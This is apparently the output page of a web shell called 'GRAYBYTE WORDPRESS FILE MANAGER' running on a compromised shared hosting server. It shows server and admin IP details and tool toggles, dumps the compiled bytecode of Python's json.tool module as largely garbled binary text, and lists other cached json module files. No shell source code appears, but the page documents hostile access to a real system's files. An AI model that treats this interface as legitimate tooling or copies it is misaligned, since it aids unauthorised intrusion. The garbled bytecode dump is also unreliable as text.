$19 GRAYBYTE WORDPRESS FILE MANAGER $92

SERVER : premium201.web-hosting.com #1 SMP Wed Mar 26 12:08:09 UTC 2025
SERVER IP : 172.67.217.254 | ADMIN IP 216.73.216.180
OPTIONS : CRL = ON | WGT = ON | SDO = OFF | PKEX = OFF
DEACTIVATED : mail

/opt/alt/python39/lib64/python3.9/json/__pycache__/

HOME
Current File : /opt/alt/python39/lib64/python3.9/json/__pycache__//tool.cpython-39.opt-1.pyc
a

XC?h
�
@sxdZddlZddlZddlZddlmZdd�Zedkrtz
e�Wn0eyrZ	ze�
e	j�WYdZ	[	n
dZ	[	00dS)aCommand-line tool to validate and pretty-print JSON

Usage::

    $ echo '{"json":"obj"}' | python -m json.tool
    {
        "json": "obj"
    }
    $ echo '{ 1.2:3.4}' | python -m json.tool
    Expecting property name enclosed in double quotes: line 1 column 3 (char 2)

�N)�PathcCs�d}d}tj||d�}|jddtjdd�dtjd	�|jd
dtddd	�|jdd
ddd�|jddddd�|jdd
ddd�|��}|jddtdd�|jddddd d!�|jd"dddd#d!�|jd$d
d%d&�|�	�}|j
|j|jd'�}|j
�rd|d<d(|d)<|j��}z�|j�r$d*d+�|D�}nt�|�f}|jdu�rDtj}n|jjd,dd�}|�:}	|D]$}
tj|
|	fi|��|	�d-��q^Wd�n1�s�0YWn.t�y�}zt|��WYd}~n
d}~00Wd�n1�s�0YdS).Nzpython -m json.toolzZA simple command line interface for json module to validate and pretty-print JSON objects.)�prog�description�infile�?zutf-8)�encodingz-a JSON file to be validated or pretty-printed)�nargs�type�help�default�outfilez%write the output of infile to outfilez--sort-keys�
store_trueFz5sort the output of dictionaries alphabetically by key)�actionrr
z--no-ensure-ascii�ensure_asciiZstore_falsez(disable escaping of non-ASCII characters)�destrr
z--json-linesznparse input using the JSON Lines format. Use with --no-indent or --compact to produce valid JSON Lines output.z--indent�zJseparate items with newlines and use this number of spaces for indentation)rr	r
z--tabZstore_const�indent�	z9separate items with newlines and use tabs for indentation)rrZconstr
z--no-indentz/separate items with spaces rather than newlinesz	--compactz1suppress all whitespace separation (most compact))rr
)�	sort_keysrr)�,�:Z
separatorscss|]}t�|�VqdS)N)�json�loads)�.0�line�r�./opt/alt/python39/lib64/python3.9/json/tool.py�	<genexpr>A�zmain.<locals>.<genexpr>�w�
)�argparse�ArgumentParser�add_argumentZFileType�sys�stdinrZadd_mutually_exclusive_group�int�
parse_argsrrrZcompactrZ
json_linesr�loadr�stdout�open�dump�write�
ValueError�
SystemExit)rr�parser�groupZoptionsZ	dump_argsrZobjs�outr�obj�errr�mainst
��
�
�
�
�
�
���2r4�__main__)�__doc__r!rr$�pathlibrr4�__name__�BrokenPipeError�exc�exit�errnorrrr�<module>s>



Current_dir [ NOT WRITEABLE ] Document_root [ NOT WRITEABLE ]


[ Back ]
NAME
SIZE
LAST TOUCH
USER
CAN-I?
FUNCTIONS
..
--
22 Jul 2025 8.33 AM
root / linksafe
0755
__init__.cpython-39.opt-1.pyc
12.02 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
__init__.cpython-39.opt-2.pyc
2.934 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
__init__.cpython-39.pyc
12.02 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
decoder.cpython-39.opt-1.pyc
9.591 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
decoder.cpython-39.opt-2.pyc
5.695 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
decoder.cpython-39.pyc
9.591 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
encoder.cpython-39.opt-1.pyc
10.884 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
encoder.cpython-39.opt-2.pyc
6.632 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
encoder.cpython-39.pyc
10.884 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
scanner.cpython-39.opt-1.pyc
1.92 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
scanner.cpython-39.opt-2.pyc
1.885 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
scanner.cpython-39.pyc
1.92 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
tool.cpython-39.opt-1.pyc
2.756 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
tool.cpython-39.opt-2.pyc
2.47 KB
19 Jun 2025 12.11 PM
root / linksafe
0644
tool.cpython-39.pyc
2.756 KB
19 Jun 2025 12.11 PM
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025 CONTACT ME
Static GIF